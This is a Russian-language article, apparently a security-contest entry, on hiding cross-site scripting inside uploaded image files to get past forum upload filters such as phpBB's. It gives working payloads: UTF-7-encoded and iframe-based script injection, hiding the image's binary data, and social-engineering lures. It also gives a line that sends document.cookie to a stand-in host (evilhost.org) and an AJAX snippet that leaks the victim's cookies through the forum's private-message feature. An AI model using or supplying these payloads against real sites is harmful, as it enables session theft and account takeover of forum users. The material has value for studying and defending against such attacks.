Всё, что было написано до сих пор, на самом деле, не новость. На практике описанный метод часто не работает, так как разработчики в последнее время начали включать в web-приложения специальные фильтры для проверки содержимого графических файлов на наличие «инородных» данных и тем самым усложнили задачу нарушителя. Это вполне разумный ход, поскольку серверное приложение, заботящееся о своей безопасности обязано, проверять правильность любых пользовательских данных посылаемых на сервер, будь то GET, POST запросы, cookies, и тем более файлы с данными, в не зависимости от особенностей обработки этих данных клиентскими приложениями.
Посмотрим, можно ли каким-либо образом обойти фильтр. Основная проблема заключается в том, что не все существующие методы обхода фильтров работают для картинок. Например, XSS в тэге <META> не обрабатывается в принципе, хотя фильтрами пропускается. Наша задача – найти именно такой способ, который работал бы для изображения и обходил фильтры [2].
В ходе первичного исследования оказалось, что существует только три рабочих способа вызова скрипта:
Код:
<script>alert()</script>
Код:
<img src=javascript:alert()>
Код:
<table> <td background="javascript:alert('XSS')">
И все они, к сожалению, не проходят фильтрацию. Фильтруются HTML-тэги, то есть, если в содержимом картинки встречаются строки “<script”, “<img”, “<table”, то картинка считается неправильной и загрузить её на сервер не удается.
А что, если использовать другую кодировку, например, UTF-7? Это поможет нам обойти фильтры, так как в UTF-7 кодировке символы “<”, “>” заменяются на “+ADw-”, ”+AD4-”соответственно. Чтобы браузер воспринимал текст в кодировке UTF-7, необходимо выполнение одного из трёх условий:
Поле Content-Type из заголовка http-ответа сервера содержит информацию о кодировке страницы
Content-Type: text/html; charset=UTF-7
В содержимом страницы присутствует тег <META>, в котором указана кодировка страницы:
<meta http-equiv="Content-Type" content="text/html; charset="UTF-7">
Браузер пользователя настроен на автоматическое определение кодировки.
Нам подходит второй вариант, ведь, в отличие от обычных XSS, мы можем контролировать всю страницу, а именно, можем использовать тэг <META>. Итак, перепишем содержимое нашего изображения так, чтобы попробовать обойти фильтр (рис. 4), и проверим это на одной из самых популярных реализаций форумов – PHPbb.
Рис.4. Графический файл с данными в кодировке UTF-7
Как мы видим на рисунке 5, изображение загрузилось, обойдя фильтры.
Рис.5. XSS в картинке (обход фильтров PHPbb)
На самом деле, можно обойтись и без UTF-7. Для того, чтобы тот или иной скрипт сработал в картинке, необходимо, чтобы Internet Explorer распознал HTML-страницу в потоке анализируемых данных. Это можно сделать, например, используя тэги <html>, <head>, <body>, и после этого вставлять те или иные способы вызова скриптов. Например, следующий текст, вставленный после картинки, тоже проходит через фильтры:
<html>
<head>
</head>
<meta http-equiv="Content-Type" content="text/html">
</head>
<body>
<IFRAME SRC="javascript
:alert('XSS');"></IFRAME>
</body>
</html>
Тем не менее, использование UTF-7 дает нам большую незаметность для фильтров, так как тэг “<iframe” в любом другом web-приложении может фильтроваться. Учитывая описанное выше использование дополнительных кодировок и всевозможные дополнительные методы обхода фильтров, получается, что задача написания хорошего фильтра отнюдь не тривиальна.
Скрытность
Итак, у нас есть уже практически готовый эксплоит, который можно использовать, заменив alert() ссылкой на сенсор, получающий cookie пользователя. Но можно использовать и более красивое решение.
Во-первых, нехорошо то, что на нашей страничке выводятся, как вы уже заметили, бинарные данные графического файла. Самый простой способ избавиться от этого – сделать текст цвета совпадающим с цветом фона, например:
document.body.style.color="white";
Теперь наш скрипт выглядит гораздо красивее.
Рис. 6. XSS в картинке (скрываем лишнее)
Во-вторых, надо понимать, что сконструированный XSS сработает в двух случаях: либо если пользователь кликнет на изображение (что маловероятно), либо мы дадим ему прямую ссылку на изображение, применив немного фантазии в области социальной инженерии. Основная мысль заключается в том, что мы стараемся сделать нашу атаку максимально незаметной для пользователя. Следовательно, если мы даём пользователю ссылку на картинку, то это должна быть картинка. Поэтому мы добавляем в наш скрипт настоящую картинку, точнее – ссылку на неё. Что использовать в качестве картинки, зависит от того, для кого она предназначена.
Рис. 7. Маскировка с добавлением ссылки на картинку
Итак, мы получили почти готовый эксплоит, только он не делает самого главного – не передает нарушителю cookies. Для этого можно воспользоваться стандартным способом – перенаправить пользователя на наш сенсор путём вставки, например, такого кода:
img.src = "http://evilhost.org/sensor.php?"+document.cookie;
Указанный вариант не является оптимальным, так как разглашается адрес web-сервера нарушителя и все его попытки скрыть атаку обречены на провал. Можно, конечно, перенаправлять пользователя обратно, но существует более элегантное решение.
Наверняка, все слышали про технологию AJAX. У этой технологии есть отличное применение в деле получения несанкционированного доступа к cookies пользователей. Нет смысла в данной статье углубляться в тонкости AJAX, отметим только, что суть метода заключается в том, чтобы с помощью объекта XMLHttpRequestObject послать на сервер запрос с содержимым cookies пользователя. Единственная проблема заключается в том, что пересылка данных с помощью XMLHttpRequestObject на сторонний сервер вызывает у браузера кучу дополнительных вопросов, что нам совсем ни к чему.
Предлагаемая идея заключается в том, что отсылать данные на сторонний сервер нам не обязательно, ведь мы в рассматриваемом примере используем уязвимости в форумах и CMS, которые имеют механизм отправки личных сообщений. Следовательно, мы можем с помощью нашего скрипта отослать себе личное сообщение от имени жертвы с содержимым его cookies. Вот стандартный AJAX-код, который отсылает данные на скрипт-сенсор:
<script>
var XMLHTTPRequestObject = false;
XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP");
XMLHttpRequestObject.open('GET', 'http://www.site.com/privatemessage.php?
' + window.document.cookie, true);
XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
XMLHttpRequestObject.send(null);
delete XMLHttpRequestObject;
</script>
В данном примере выделена основная часть скрипта, отвечающая за отсылку данных. Для того, чтобы у нас получился полноценный эксплоит, необходимо заменить параметры метода XMLHttpRequestObject.open на те, которые используются в конкретном web-приложении. Получившийся код нужно добавить в нашу картинку, сконвертировав его предварительно в UTF-7. Итоговый код по понятным причинам не приводится, но тому, кто понял суть, дописать его не составит труда.
http://www.securitylab.ru/contest/291564.php